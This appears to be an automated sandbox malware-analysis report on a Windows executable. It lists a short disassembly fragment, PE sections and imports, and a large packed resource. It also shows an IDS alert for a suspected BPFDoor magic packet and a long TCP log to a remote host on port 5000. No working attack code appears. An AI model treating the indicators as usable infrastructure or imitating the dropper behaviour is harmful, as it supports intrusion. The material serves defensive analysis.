jne 00007FF014B36179h
mov byte ptr [00024185h], 00000001h
call 00007FF014B3670Dh
call 00007FF014B36B50h
test al, al
jne 00007FF014B36176h
xor al, al
jmp 00007FF014B36186h
call 00007FF014B3EA2Bh
test al, al
jne 00007FF014B3617Bh
xor ecx, ecx
call 00007FF014B36B60h
jmp 00007FF014B3615Ch
mov al, 01h
dec eax
add esp, 28h
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [0002414Ch], 00000000h
mov ebx, ecx
jne 00007FF014B361D9h
cmp ecx, 01h
jnbe 00007FF014B361DCh
call 00007FF014B36876h
test eax, eax
je 00007FF014B3619Ah
test ebx, ebx
jne 00007FF014B36196h
dec eax
lea ecx, dword ptr [00024136h]
call 00007FF014B3E84Ah
test eax, eax
jne 00007FF014B36182h
dec eax
lea ecx, dword ptr [0002413Eh]
call 00007FF014B3623Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e0fc	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x57000	0xaf51a8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x54000	0x1854	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb4d000	0x688	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x2bf60	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2be20	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x22000	0x2e0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x20450	0x20600	d5881c799223a7c43227753af4dfb945	False	0.5567084942084942	data	6.520018060774394	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x22000	0xcab0	0xcc00	06b7e7d3cf5d0cd1d46400644ce034b3	False	0.47907092524509803	PGP symmetric key encrypted data - Plaintext or unencrypted data	5.144042609880418	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2f000	0x24e70	0xc00	6d8f02b8aab3664e63abe84f259bc1c7	False	0.13802083333333334	data	1.9439948621662484	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x54000	0x1854	0x1a00	2939e1273090608fed331aea22bcb0fd	False	0.45703125	PEX Binary Archive	5.057262605805601	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x56000	0x1f4	0x200	3bbe165281ec2be875b71c5ef5761cf3	False	0.525390625	data	3.671095801963117	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x57000	0xaf51a8	0xaf5200	cbde0d2d2c955f01670e59b08da5a289	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xb4d000	0x688	0x800	fd808e45828696952605c6bce78bb2f4	False	0.5126953125	data	4.934942496146745	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_RCDATA	0x570a0	0xaf4d10	data			0.9995803833007812
RT_MANIFEST	0xb4bdb0	0x3f8	ASCII text, with very long lines (1016), with no line terminators			0.4655511811023622

Imports

DLL

Import

SHELL32.dll

SHFileOperationW, SHGetFolderPathW, CommandLineToArgvW

KERNEL32.dll

SetLastError, WriteConsoleW, HeapReAlloc, CreateDirectoryW, SizeofResource, SetConsoleCtrlHandler, GetCommandLineW, GetStdHandle, WriteFile, TerminateProcess, GetModuleFileNameW, SetEnvironmentVariableW, GetTempPathW, FindResourceA, WaitForSingleObject, CreateFileW, GetFileAttributesW, Sleep, GetLastError, LockResource, CloseHandle, LoadResource, GetProcAddress, GetCurrentProcessId, CreateProcessW, WideCharToMultiByte, GetSystemTimeAsFileTime, FormatMessageA, GetExitCodeProcess, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentThreadId, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, HeapSize, RtlUnwindEx, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, EncodePointer, RaiseException, RtlPcToFileHeader, ExitProcess, GetModuleHandleExW, GetCommandLineA, HeapAlloc, MultiByteToWideChar, HeapFree, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, CompareStringW, LCMapStringW, GetFileType, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetStringTypeW, GetProcessHeap, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, GetFileSizeEx, SetFilePointerEx

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T11:41:20.874297+0100	2036752	ET MALWARE Suspected BPFDoor TCP Magic Packet (Inbound)	1	194.59.30.220	5000	192.168.2.5	49705	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 11:40:26.359551907 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:26.479239941 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:26.479338884 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:26.479553938 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:26.599148989 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:27.775988102 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:27.776309967 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:27.776329041 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:27.776361942 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:27.776391029 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:27.776463985 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:27.776463985 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:27.776479959 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:27.776495934 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:27.776511908 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:27.776523113 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:27.776531935 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:27.776575089 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:27.776614904 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:27.776711941 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:27.896749020 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:27.896907091 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:27.897006035 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:27.900876999 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:27.941196918 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:27.967519999 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:27.967761993 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:27.967844009 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:27.971744061 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:27.971831083 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:27.971911907 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:27.980138063 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:27.980264902 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:27.980348110 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:27.988457918 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:27.988579035 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:27.988773108 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:27.996795893 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:27.996918917 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:27.997126102 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.005191088 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.005300045 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.005407095 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.013650894 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.013915062 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.013966084 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.022171021 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.022300005 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.022368908 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.030289888 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.030388117 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.030512094 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.039083958 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.039268970 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.039339066 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.061503887 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.061583996 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.061733007 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.065807104 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.112966061 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.158585072 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.158674002 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.158730984 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.161112070 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.161151886 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.161247015 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.166414976 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.166455030 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.166507959 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.170767069 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.170800924 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.170850039 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.175621033 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.175786018 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.175868988 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.181623936 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.181816101 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.181893110 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.185496092 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.185597897 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.185650110 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.190270901 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.190325975 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.190360069 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.194565058 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.194670916 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.194715977 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.199289083 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.199332952 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.199397087 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.204174995 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.204262972 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.204402924 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.209291935 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.209363937 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.209427118 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.213529110 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.213582039 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.213759899 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.218420982 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.218478918 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.218750954 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.223006964 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.223078012 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.223121881 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.227771044 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.227915049 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.227960110 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.232635975 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.232747078 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.232800007 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.237303972 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.237365961 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.237759113 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.242012024 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.284895897 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.349520922 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.349594116 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.349653959 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.350636005 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.350737095 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.350811005 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.354108095 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.354178905 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.354264975 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.357662916 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.357693911 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.357938051 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.361176014 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.361284018 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.361334085 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.364603043 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.364727974 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.364793062 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.367949009 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.368083954 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.368663073 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.371326923 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.371428013 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.371481895 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.374584913 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.374705076 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.374758005 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.377988100 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.378093004 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.378181934 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.381263971 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.381436110 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.381491899 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.384605885 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.384747982 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.385165930 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.388017893 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.388148069 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.388283968 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.391340017 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.391385078 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.391576052 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.394820929 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.394841909 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.394911051 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.398199081 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.398271084 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.398336887 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.401348114 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.401470900 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.401518106 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.404983997 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.405071020 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.405165911 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.408024073 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.408199072 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.408273935 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.411308050 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.411428928 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.411475897 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.414985895 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.415294886 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.415468931 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.418171883 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.418241024 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.418493986 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.421418905 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.421689034 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.421860933 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.424666882 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.424782038 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.425637007 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.428096056 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.428195953 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.428234100 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.431756973 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.431899071 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.432564974 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.434750080 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.434865952 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.434930086 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.438035011 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.438174009 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.438262939 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.441390038 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.441482067 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.441546917 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.444735050 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.444763899 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.444808960 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.448952913 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.448992014 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.449120045 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.451662064 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.451679945 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.451733112 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.540783882 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.541059971 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.541578054 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.542078018 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.542680025 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.542716026 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.543571949 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.545417070 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.545500994 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.545542955 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.548283100 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.548341036 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.548367977 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.550951958 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.551168919 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.551573038 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.553632975 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.553735971 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.553742886 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.556205034 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.556278944 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.558280945 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.558804035 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.558871031 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.558877945 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.561383963 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.561537981 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.561558962 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.563870907 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.564064980 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.564136982 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.566355944 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.566411018 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.566457033 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.568736076 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.568835020 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.568844080 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.571108103 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.571124077 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.571162939 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.573460102 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.573523998 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.573589087 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.575817108 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.575968027 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.576026917 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.578144073 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.578185081 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:28.578226089 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:28.580463886 CET	5000	49705	194.59.30.220	192.168.2.5
